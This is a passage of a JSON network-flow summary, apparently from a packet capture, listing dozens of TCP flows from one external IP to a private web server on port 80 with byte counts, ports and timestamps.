        "initiator_bytes": 242,
        "last_seen_epoch": "1577255330.092963",
        "responder_bytes": 120,
        "first_seen_epoch": "1577255328.530278"
      },
      {
        "bytes": 8669,
        "stream": 1,
        "flow_id": "flow-1528cc3b350b19b3d18c6476",
        "packets": 34,
        "transport": "tcp",
        "last_frame": 42,
        "first_frame": 7,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 55812,
        "responder_port": 80,
        "initiator_bytes": 3637,
        "last_seen_epoch": "1577255345.790371",
        "responder_bytes": 5032,
        "first_seen_epoch": "1577255331.935129"
      },
      {
        "bytes": 7572,
        "stream": 2,
        "flow_id": "flow-fdb0b7c26d72539ad4e5b50d",
        "packets": 31,
        "transport": "tcp",
        "last_frame": 81,
        "first_frame": 39,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 56924,
        "responder_port": 80,
        "initiator_bytes": 3413,
        "last_seen_epoch": "1577255367.98824",
        "responder_bytes": 4159,
        "first_seen_epoch": "1577255345.789865"
      },
      {
        "bytes": 1128,
        "stream": 3,
        "flow_id": "flow-30d8c568ed99415e948677b3",
        "packets": 10,
        "transport": "tcp",
        "last_frame": 74,
        "first_frame": 65,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 58569,
        "responder_port": 80,
        "initiator_bytes": 390,
        "last_seen_epoch": "1577255356.562607",
        "responder_bytes": 738,
        "first_seen_epoch": "1577255356.046844"
      },
      {
        "bytes": 17213,
        "stream": 4,
        "flow_id": "flow-a8a47bf6518fd43c5b3329de",
        "packets": 67,
        "transport": "tcp",
        "last_frame": 148,
        "first_frame": 82,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 59314,
        "responder_port": 80,
        "initiator_bytes": 6064,
        "last_seen_epoch": "1577255384.297322",
        "responder_bytes": 11149,
        "first_seen_epoch": "1577255367.98918"
      },
      {
        "bytes": 44937,
        "stream": 5,
        "flow_id": "flow-7cf047abf82976d3ff4bd259",
        "packets": 170,
        "transport": "tcp",
        "last_frame": 318,
        "first_frame": 149,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 61288,
        "responder_port": 80,
        "initiator_bytes": 16073,
        "last_seen_epoch": "1577255433.687874",
        "responder_bytes": 28864,
        "first_seen_epoch": "1577255385.528906"
      },
      {
        "bytes": 8042,
        "stream": 6,
        "flow_id": "flow-db6ad1ff42553965f09896c0",
        "packets": 35,
        "transport": "tcp",
        "last_frame": 355,
        "first_frame": 319,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 50984,
        "responder_port": 80,
        "initiator_bytes": 2899,
        "last_seen_epoch": "1577255454.14992",
        "responder_bytes": 5143,
        "first_seen_epoch": "1577255433.688535"
      },
      {
        "bytes": 2878,
        "stream": 7,
        "flow_id": "flow-e4c8576b56e66598b68471f0",
        "packets": 15,
        "transport": "tcp",
        "last_frame": 368,
        "first_frame": 352,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 52943,
        "responder_port": 80,
        "initiator_bytes": 1011,
        "last_seen_epoch": "1577255475.50373",
        "responder_bytes": 1867,
        "first_seen_epoch": "1577255454.138582"
      },
      {
        "bytes": 21030,
        "stream": 8,
        "flow_id": "flow-a0076e01476b30f41e36f4b5",
        "packets": 86,
        "transport": "tcp",
        "last_frame": 456,
        "first_frame": 369,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 56366,
        "responder_port": 80,
        "initiator_bytes": 7373,
        "last_seen_epoch": "1577255513.756815",
        "responder_bytes": 13657,
        "first_seen_epoch": "1577255477.532133"
      },
      {
        "bytes": 2769,
        "stream": 9,
        "flow_id": "flow-56ca1c3b3efdd6a9b92a849d",
        "packets": 13,
        "transport": "tcp",
        "last_frame": 467,
        "first_frame": 453,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 60608,
        "responder_port": 80,
        "initiator_bytes": 1010,
        "last_seen_epoch": "1577255520.074659",
        "responder_bytes": 1759,
        "first_seen_epoch": "1577255513.756176"
      },
      {
        "bytes": 1264,
        "stream": 10,
        "flow_id": "flow-af2b631e98edabb9f46b0cc7",
        "packets": 10,
        "transport": "tcp",
        "last_frame": 477,
        "first_frame": 468,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 61757,
        "responder_port": 80,
        "initiator_bytes": 543,
        "last_seen_epoch": "1577255520.992294",
        "responder_bytes": 721,
        "first_seen_epoch": "1577255520.16081"
      },
      {
        "bytes": 188,
        "stream": 11,
        "flow_id": "flow-08e30f6bada8ca7090874d52",
        "packets": 3,
        "transport": "tcp",
        "last_frame": 483,
        "first_frame": 478,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 61922,
        "responder_port": 80,
        "initiator_bytes": 122,
        "last_seen_epoch": "1577255522.427929",
        "responder_bytes": 66,
        "first_seen_epoch": "1577255521.156774"
      },
      {
        "bytes": 2930,
        "stream": 12,
        "flow_id": "flow-2e26ddf5479a217fccec826e",
        "packets": 16,
        "transport": "tcp",
        "last_frame": 496,
        "first_frame": 480,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 61991,
        "responder_port": 80,
        "initiator_bytes": 1063,
        "last_seen_epoch": "1577255538.506386",
        "responder_bytes": 1867,
        "first_seen_epoch": "1577255521.623552"
      },
      {
        "bytes": 2809,
        "stream": 13,
        "flow_id": "flow-7c1c97d3783973a231bfac8d",
        "packets": 14,
        "transport": "tcp",
        "last_frame": 510,
        "first_frame": 497,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 65014,
        "responder_port": 80,
        "initiator_bytes": 996,
        "last_seen_epoch": "1577255574.495748",
        "responder_bytes": 1813,
        "first_seen_epoch": "1577255549.769707"
      },
      {
        "bytes": 1308,
        "stream": 14,
        "flow_id": "flow-00b49af488bc97e9c256b75d",
        "packets": 11,
        "transport": "tcp",
        "last_frame": 523,
        "first_frame": 511,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 53134,
        "responder_port": 80,
        "initiator_bytes": 533,
        "last_seen_epoch": "1577255589.938661",
        "responder_bytes": 775,
        "first_seen_epoch": "1577255577.637215"
      },
      {
        "bytes": 7311,
        "stream": 15,
        "flow_id": "flow-d950602f04e517c21fae305e",
        "packets": 32,
        "transport": "tcp",
        "last_frame": 553,
        "first_frame": 520,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 54132,
        "responder_port": 80,
        "initiator_bytes": 2714,
        "last_seen_epoch": "1577255599.325564",
        "responder_bytes": 4597,
        "first_seen_epoch": "1577255589.938526"
      },
      {
        "bytes": 22556,
        "stream": 16,
        "flow_id": "flow-37932088cb93fc9e710cfbf6",
        "packets": 77,
        "transport": "tcp",
        "last_frame": 632,
        "first_frame": 554,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 55005,
        "responder_port": 80,
        "initiator_bytes": 9715,
        "last_seen_epoch": "1577255629.635872",
        "responder_bytes": 12841,
        "first_seen_epoch": "1577255599.328024"
      },
      {
        "bytes": 1380,
        "stream": 17,
        "flow_id": "flow-f097109f4e3b2d27b16d2efd",
        "packets": 10,
        "transport": "tcp",
        "last_frame": 642,
        "first_frame": 630,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 59562,
        "responder_port": 80,
        "initiator_bytes": 659,
        "last_seen_epoch": "1577255631.127984",
        "responder_bytes": 721,
        "first_seen_epoch": "1577255629.611389"
      },
      {
        "bytes": 6242,
        "stream": 18,
        "flow_id": "flow-ce5cd7284c5d5bfac005d11f",
        "packets": 26,
        "transport": "tcp",
        "last_frame": 669,
        "first_frame": 640,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 59916,
        "responder_port": 80,
        "initiator_bytes": 2737,
        "last_seen_epoch": "1577255643.738087",
        "responder_bytes": 3505,
        "first_seen_epoch": "1577255630.935958"
      },
      {
        "bytes": 1376,
        "stream": 19,
        "flow_id": "flow-947045aa82bb8d4a6f8447b6",
        "packets": 10,
        "transport": "tcp",
        "last_frame": 678,
        "first_frame": 664,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 61842,
        "responder_port": 80,
        "initiator_bytes": 655,
        "last_seen_epoch": "1577255645.465858",
        "responder_bytes": 721,
        "first_seen_epoch": "1577255642.263643"
      },
      {
        "bytes": 188,
        "stream": 20,
        "flow_id": "flow-af411ab30440c4a168363416",
        "packets": 3,
        "transport": "tcp",
        "last_frame": 681,
        "first_frame": 676,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 62355,
        "responder_port": 80,
        "initiator_bytes": 122,
        "last_seen_epoch": "1577255648.512163",
        "responder_bytes": 66,
        "first_seen_epoch": "1577255645.209728"
      },
      {
        "bytes": 1837,
        "stream": 21,
        "flow_id": "flow-49f555a2670b92934fb9978f",
        "packets": 13,
        "transport": "tcp",
        "last_frame": 692,
        "first_frame": 679,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 62674,
        "responder_port": 80,
        "initiator_bytes": 1008,
        "last_seen_epoch": "1577255656.169389",
        "responder_bytes": 829,
        "first_seen_epoch": "1577255647.054983"
      },
      {
        "bytes": 188,
        "stream": 22,
        "flow_id": "flow-5051752c9b5c17e46b83456a",
        "packets": 3,
        "transport": "tcp",
        "last_frame": 695,
        "first_frame": 693,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 63582,
        "responder_port": 80,
        "initiator_bytes": 122,
        "last_seen_epoch": "1577255657.808538",
        "responder_bytes": 66,
        "first_seen_epoch": "1577255657.530236"
      },
      {
        "bytes": 3351,
        "stream": 23,
        "flow_id": "flow-fb919efaf62221f5d789129f",
        "packets": 17,
        "transport": "tcp",
        "last_frame": 712,
        "first_frame": 696,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 64064,
        "responder_port": 80,
        "initiator_bytes": 1484,
        "last_seen_epoch": "1577255672.558427",
        "responder_bytes": 1867,
        "first_seen_epoch": "1577255661.590428"
      },
      {
        "bytes": 21245,
        "stream": 24,
        "flow_id": "flow-f61a9bb5fdba0efc9dca52ef",
        "packets": 73,
        "transport": "tcp",
        "last_frame": 785,
        "first_frame": 713,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 65134,
        "responder_port": 80,
        "initiator_bytes": 9004,
        "last_seen_epoch": "1577255702.479191",
        "responder_bytes": 12241,
        "first_seen_epoch": "1577255673.529439"
      },
      {
        "bytes": 12857,
        "stream": 25,
        "flow_id": "flow-42b1ea0c844960581c7fa1ef",
        "packets": 45,
        "transport": "tcp",
        "last_frame": 830,
        "first_frame": 786,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 52677,
        "responder_port": 80,
        "initiator_bytes": 5638,
        "last_seen_epoch": "1577255720.921828",
        "responder_bytes": 7219,
        "first_seen_epoch": "1577255705.521142"
      },
      {
        "bytes": 1377,
        "stream": 26,
        "flow_id": "flow-838a1c68dce4299a3c065532",
        "packets": 10,
        "transport": "tcp",
        "last_frame": 842,
        "first_frame": 831,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 54896,
        "responder_port": 80,
        "initiator_bytes": 656,
        "last_seen_epoch": "1577255722.306395",
        "responder_bytes": 721,
        "first_seen_epoch": "1577255721.531339"
      },
      {
        "bytes": 5270,
        "stream": 27,
        "flow_id": "flow-385236e9af147848ce6492a9",
        "packets": 23,
        "transport": "tcp",
        "last_frame": 863,
        "first_frame": 840,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 54989,
        "responder_port": 80,
        "initiator_bytes": 2311,
        "last_seen_epoch": "1577255749.237665",
        "responder_bytes": 2959,
        "first_seen_epoch": "1577255722.101616"
      },
      {
        "bytes": 10980,
        "stream": 28,
        "flow_id": "flow-cccd02732ca5c099cef23e10",
        "packets": 40,
        "transport": "tcp",
        "last_frame": 903,
        "first_frame": 864,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 57683,
        "responder_port": 80,
        "initiator_bytes": 4799,
        "last_seen_epoch": "1577255765.234042",
        "responder_bytes": 6181,
        "first_seen_epoch": "1577255749.538694"
      },
      {
        "bytes": 1379,
        "stream": 29,
        "flow_id": "flow-57319b55ef51ac891900670e",
        "packets": 10,
        "transport": "tcp",
        "last_frame": 915,
        "first_frame": 904,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 60221,
        "responder_port": 80,
        "initiator_bytes": 658,
        "last_seen_epoch": "1577255771.298536",
        "responder_bytes": 721,
        "first_seen_epoch": "1577255765.532399"
      },
      {
        "bytes": 57643,
        "stream": 30,
        "flow_id": "flow-d325b0035bb0666a551c97ea",
        "packets": 186,
        "transport": "tcp",
        "last_frame": 1101,
        "first_frame": 913,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 61333,
        "responder_port": 80,
        "initiator_bytes": 25092,
        "last_seen_epoch": "1577255823.794321",
        "responder_bytes": 32551,
        "first_seen_epoch": "1577255771.042524"
      },
      {
        "bytes": 12044,
        "stream": 31,
        "flow_id": "flow-d04fc56be3105483fad0fe7e",
        "packets": 43,
        "transport": "tcp",
        "last_frame": 1144,
        "first_frame": 1098,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 52354,
        "responder_port": 80,
        "initiator_bytes": 5317,
        "last_seen_epoch": "1577255831.420254",
        "responder_bytes": 6727,
        "first_seen_epoch": "1577255823.791302"
      },
      {
        "bytes": 1380,
        "stream": 32,
        "flow_id": "flow-093a1b7b2b582e044e316ce5",
        "packets": 10,
        "transport": "tcp",
        "last_frame": 1155,
        "first_frame": 1142,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 53874,
        "responder_port": 80,
        "initiator_bytes": 659,
        "last_seen_epoch": "1577255831.975404",
        "responder_bytes": 721,
        "first_seen_epoch": "1577255831.158355"
      },
      {
        "bytes": 3356,
        "stream": 33,
        "flow_id": "flow-c2c5edcd22fbaba856bb3b51",
        "packets": 17,
        "transport": "tcp",
        "last_frame": 1169,
        "first_frame": 1152,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 53988,
        "responder_port": 80,
        "initiator_bytes": 1489,
        "last_seen_epoch": "1577255844.776996",
        "responder_bytes": 1867,
        "first_seen_epoch": "1577255831.704369"
      },
      {
        "bytes": 7235,
        "stream": 34,
        "flow_id": "flow-7b0271ce8afb200c423d0b5b",
        "packets": 29,
        "transport": "tcp",
        "last_frame": 1200,
        "first_frame": 1170,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 54899,
        "responder_port": 80,
        "initiator_bytes": 3184,
        "last_seen_epoch": "1577255870.207649",
        "responder_bytes": 4051,
        "first_seen_epoch": "1577255845.537661"
      },
      {
        "bytes": 16839,
        "stream": 35,
        "flow_id": "flow-334c66f036f9cb2e7e1e441f",
        "packets": 59,
        "transport": "tcp",
        "last_frame": 1257,
        "first_frame": 1197,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 58703,
        "responder_port": 80,
        "initiator_bytes": 7328,
        "last_seen_epoch": "1577255896.060972",
        "responder_bytes": 9511,
        "first_seen_epoch": "1577255870.20736"
      },
      {
        "bytes": 6190,
        "stream": 36,
        "flow_id": "flow-feffe68664f7b04036b67d9e",
        "packets": 25,
        "transport": "tcp",
        "last_frame": 1284,
        "first_frame": 1258,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 62210,
        "responder_port": 80,
        "initiator_bytes": 2739,
        "last_seen_epoch": "1577255909.715482",
        "responder_bytes": 3451,
        "first_seen_epoch": "1577255901.78672"
      },
      {
        "bytes": 1380,
        "stream": 37,
        "flow_id": "flow-2ea91cbb0d6d9c7937d84dd6",
        "packets": 10,
        "transport": "tcp",
        "last_frame": 1292,
        "first_frame": 1282,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 64171,
        "responder_port": 80,
        "initiator_bytes": 659,
        "last_seen_epoch": "1577255910.376191",
        "responder_bytes": 721,
        "first_seen_epoch": "1577255909.535219"
      },
      {
        "bytes": 188,
        "stream": 38,
        "flow_id": "flow-8d8a98d849f2e5138ea399f2",
        "packets": 3,
        "transport": "tcp",
        "last_frame": 1295,
        "first_frame": 1293,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 64883,
        "responder_port": 80,
        "initiator_bytes": 122,
        "last_seen_epoch": "1577255917.56215",
        "responder_bytes": 66,
        "first_seen_epoch": "1577255917.300415"
      },
      {
        "bytes": 6141,
        "stream": 39,
        "flow_id": "flow-67e5178a5dec0236c69854bd",
        "packets": 24,
        "transport": "tcp",
        "last_frame": 1319,
        "first_frame": 1296,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 65275,
        "responder_port": 80,
        "initiator_bytes": 2744,
        "last_seen_epoch": "1577255925.851249",
        "responder_bytes": 3397,
        "first_seen_epoch": "1577255918.555105"
      },
      {
        "bytes": 1380,
        "stream": 40,
        "flow_id": "flow-292c8f762988f96907a80a69",
        "packets": 10,
        "transport": "tcp",
        "last_frame": 1329,
        "first_frame": 1320,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 50137,
        "responder_port": 80,
        "initiator_bytes": 659,
        "last_seen_epoch": "1577255935.113772",
        "responder_bytes": 721,
        "first_seen_epoch": "1577255933.525042"
      },
      {
        "bytes": 188,
        "stream": 41,
        "flow_id": "flow-8da48d60a290c80ffe464e19",
        "packets": 3,
        "transport": "tcp",
        "last_frame": 1332,
        "first_frame": 1330,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 51046,
        "responder_port": 80,
        "initiator_bytes": 122,
        "last_seen_epoch": "1577255938.812144",
        "responder_bytes": 66,
        "first_seen_epoch": "1577255937.530469"
      },
      {
        "bytes": 1376,
        "stream": 42,
        "flow_id": "flow-7e600474c7392bead301f371",
        "packets": 10,
        "transport": "tcp",
        "last_frame": 1342,
        "first_frame": 1333,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 52340,
        "responder_port": 80,
        "initiator_bytes": 601,
        "last_seen_epoch": "1577255963.704306",
        "responder_bytes": 775,
        "first_seen_epoch": "1577255949.967617"
      },
      {
        "bytes": 11213,
        "stream": 43,
        "flow_id": "flow-a44e8e5eefafde163c4b92b2",
        "packets": 43,
        "transport": "tcp",
        "last_frame": 1389,
        "first_frame": 1343,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 54484,
        "responder_port": 80,
        "initiator_bytes": 4924,
        "last_seen_epoch": "1577255983.154344",
        "responder_bytes": 6289,
        "first_seen_epoch": "1577255963.7055"
      },
      {
        "bytes": 188,
        "stream": 44,
        "flow_id": "flow-0e5bc80d800a9de203f67842",
        "packets": 3,
        "transport": "tcp",
        "last_frame": 1395,
        "first_frame": 1385,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 57582,
        "responder_port": 80,
        "initiator_bytes": 122,
        "last_seen_epoch": "1577255984.809037",
        "responder_bytes": 66,
        "first_seen_epoch": "1577255981.508312"
      },
      {
        "bytes": 7229,
        "stream": 45,
        "flow_id": "flow-29c8ff65fd5f5d55e802c6f7",
        "packets": 29,
        "transport": "tcp",
        "last_frame": 1419,
        "first_frame": 1387,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 57806,
        "responder_port": 80,
        "initiator_bytes": 3178,
        "last_seen_epoch": "1577256008.544068",
        "responder_bytes": 4051,
        "first_seen_epoch": "1577255982.559773"
      },
      {
        "bytes": 4694,
        "stream": 46,
        "flow_id": "flow-17d30be53f85db8cd0405939",
        "packets": 21,
        "transport": "tcp",
        "last_frame": 1438,
        "first_frame": 1416,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 60737,
        "responder_port": 80,
        "initiator_bytes": 2269,
        "last_seen_epoch": "1577256015.263566",
        "responder_bytes": 2425,
        "first_seen_epoch": "1577256008.543952"
      },
      {
        "bytes": 188,
        "stream": 47,
        "flow_id": "flow-8d52baf6806ebcae604a29c1",
        "packets": 3,
        "transport": "tcp",
        "last_frame": 1441,
        "first_frame": 1439,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 61910,
        "responder_port": 80,
        "initiator_bytes": 122,
        "last_seen_epoch": "1577256017.797185",
        "responder_bytes": 66,
        "first_seen_epoch": "1577256017.531439"
      },
      {
        "bytes": 188,
        "stream": 48,
        "flow_id": "flow-faaa63ed23ede8d01f6adff5",
        "packets": 3,
        "transport": "tcp",
        "last_frame": 1444,
        "first_frame": 1442,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 62819,
        "responder_port": 80,
        "initiator_bytes": 122,
        "last_seen_epoch": "1577256026.065672",
        "responder_bytes": 66,
        "first_seen_epoch": "1577256025.799887"
      },
      {
        "bytes": 3777,
        "stream": 49,
        "flow_id": "flow-e9a824c1c90ef6c96447c2ca",
        "packets": 19,
        "transport": "tcp",
        "last_frame": 1463,
        "first_frame": 1445,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 63653,
        "responder_port": 80,
        "initiator_bytes": 1856,
        "last_seen_epoch": "1577256042.804112",
        "responder_bytes": 1921,
        "first_seen_epoch": "1577256033.589847"
      },
      {
        "bytes": 12708,
        "stream": 50,
        "flow_id": "flow-8633e52b0be72a7c6e41e5a1",
        "packets": 47,
        "transport": "tcp",
        "last_frame": 1541,
        "first_frame": 1464,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 64829,
        "responder_port": 80,
        "initiator_bytes": 5381,
        "last_seen_epoch": "1577256072.373905",
        "responder_bytes": 7327,
        "first_seen_epoch": "1577256042.805235"
      },
      {
        "bytes": 9550,
        "stream": 51,
        "flow_id": "flow-b439740b791b474da4e86296",
        "packets": 37,
        "transport": "tcp",
        "last_frame": 1547,
        "first_frame": 1508,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 51050,
        "responder_port": 80,
        "initiator_bytes": 4353,
        "last_seen_epoch": "1577256075.407847",
        "responder_bytes": 5197,
        "first_seen_epoch": "1577256065.789015"
      },
      {
        "bytes": 25729,
        "stream": 52,
        "flow_id": "flow-c4b50171212673cd7999c30c",
        "packets": 89,
        "transport": "tcp",
        "last_frame": 1636,
        "first_frame": 1548,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 52315,
        "responder_port": 80,
        "initiator_bytes": 11142,
        "last_seen_epoch": "1577256116.99245",
        "responder_bytes": 14587,
        "first_seen_epoch": "1577256077.530595"
      },
      {
        "bytes": 188,
        "stream": 53,
        "flow_id": "flow-27dfd635de3c9efeb0ad2446",
        "packets": 3,
        "transport": "tcp",
        "last_frame": 1639,
        "first_frame": 1637,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 56833,
        "responder_port": 80,
        "initiator_bytes": 122,
        "last_seen_epoch": "1577256118.82498",
        "responder_bytes": 66,
        "first_seen_epoch": "1577256117.532363"
      },
      {
        "bytes": 1790,
        "stream": 54,
        "flow_id": "flow-8c881ea31c2fb64c5e58e03d",
        "packets": 12,
        "transport": "tcp",
        "last_frame": 1651,
        "first_frame": 1640,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 57615,
        "responder_port": 80,
        "initiator_bytes": 1015,
        "last_seen_epoch": "1577256127.258268",
        "responder_bytes": 775,
        "first_seen_epoch": "1577256121.737083"
      },
      {
        "bytes": 38713,
        "stream": 55,
        "flow_id": "flow-a98837ec519bf185b24c9ed7",
        "packets": 128,
        "transport": "tcp",
        "last_frame": 1786,
        "first_frame": 1652,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 58175,
        "responder_port": 80,
        "initiator_bytes": 16533,
        "last_seen_epoch": "1577256187.670925",
        "responder_bytes": 22180,
        "first_seen_epoch": "1577256127.258542"
      },
      {
        "bytes": 6685,
        "stream": 56,
        "flow_id": "flow-f999c8eed9217ed4b7f9f2d1",
        "packets": 28,
        "transport": "tcp",
        "last_frame": 1807,
        "first_frame": 1779,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 50940,
        "responder_port": 80,
        "initiator_bytes": 3126,
        "last_seen_epoch": "1577256195.151139",
        "responder_bytes": 3559,
        "first_seen_epoch": "1577256185.534469"
      },
      {
        "bytes": 6148,
        "stream": 57,
        "flow_id": "flow-b7df70ce8cce5fa4bd6ff052",
        "packets": 24,
        "transport": "tcp",
        "last_frame": 1833,
        "first_frame": 1808,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 52505,
        "responder_port": 80,
        "initiator_bytes": 2751,
        "last_seen_epoch": "1577256202.539667",
        "responder_bytes": 3397,
        "first_seen_epoch": "1577256195.151181"
      },
      {
        "bytes": 1324,
        "stream": 58,
        "flow_id": "flow-03939f3011557d7cdc173a09",
        "packets": 9,
        "transport": "tcp",
        "last_frame": 1843,
        "first_frame": 1831,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 53737,
        "responder_port": 80,
        "initiator_bytes": 603,
        "last_seen_epoch": "1577256203.092948",
        "responder_bytes": 721,
        "first_seen_epoch": "1577256202.266914"
      },
      {
        "bytes": 7006,
        "stream": 59,
        "flow_id": "flow-bfff6aca29972e8721083f9b",
        "packets": 25,
        "transport": "tcp",
        "last_frame": 1865,
        "first_frame": 1840,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 53864,
        "responder_port": 80,
        "initiator_bytes": 3063,
        "last_seen_epoch": "1577256209.26277",
        "responder_bytes": 3943,
        "first_seen_epoch": "1577256202.818899"
      },
      {
        "bytes": 1392,
        "stream": 60,
        "flow_id": "flow-c93ab75f216b5d26c0587fbd",
        "packets": 10,
        "transport": "tcp",
        "last_frame": 1877,
        "first_frame": 1866,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 54831,
        "responder_port": 80,
        "initiator_bytes": 671,
        "last_seen_epoch": "1577256211.06779",
        "responder_bytes": 721,
        "first_seen_epoch": "1577256209.5381"
      },
      {
        "bytes": 188,
        "stream": 61,
        "flow_id": "flow-d784643b9a2c50172845c649",
        "packets": 3,
        "transport": "tcp",
        "last_frame": 1878,
        "first_frame": 1874,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 55106,
        "responder_port": 80,
        "initiator_bytes": 122,
        "last_seen_epoch": "1577256212.095519",
        "responder_bytes": 66,
        "first_seen_epoch": "1577256210.809062"
      },
      {
        "bytes": 2400,
        "stream": 62,
        "flow_id": "flow-bf0df749bb110af8c98c5a8f",
        "packets": 14,
        "transport": "tcp",
        "last_frame": 1894,
        "first_frame": 1879,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 55480,
        "responder_port": 80,
        "initiator_bytes": 1079,
        "last_seen_epoch": "1577256226.890288",
        "responder_bytes": 1321,
        "first_seen_epoch": "1577256213.699185"
      },
      {
        "bytes": 6255,
        "stream": 63,
        "flow_id": "flow-ef9fe60f4087a9ce320cfda3",
        "packets": 26,
        "transport": "tcp",
        "last_frame": 1918,
        "first_frame": 1891,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 56638,
        "responder_port": 80,
        "initiator_bytes": 2750,
        "last_seen_epoch": "1577256239.476922",
        "responder_bytes": 3505,
        "first_seen_epoch": "1577256226.889926"
      },
      {
        "bytes": 15968,
        "stream": 64,
        "flow_id": "flow-eda38ce0ba6371e9f0e2a7e5",
        "packets": 57,
        "transport": "tcp",
        "last_frame": 1975,
        "first_frame": 1919,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 58115,
        "responder_port": 80,
        "initiator_bytes": 6949,
        "last_seen_epoch": "1577256277.75161",
        "responder_bytes": 9019,
        "first_seen_epoch": "1577256241.534888"
      },
      {
        "bytes": 9564,
        "stream": 65,
        "flow_id": "flow-c6e7cf43526a3f29ee4d96e1",
        "packets": 37,
        "transport": "tcp",
        "last_frame": 2014,
        "first_frame": 1976,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 61744,
        "responder_port": 80,
        "initiator_bytes": 4367,
        "last_seen_epoch": "1577256289.435534",
        "responder_bytes": 5197,
        "first_seen_epoch": "1577256277.752799"
      },
      {
        "bytes": 188,
        "stream": 66,
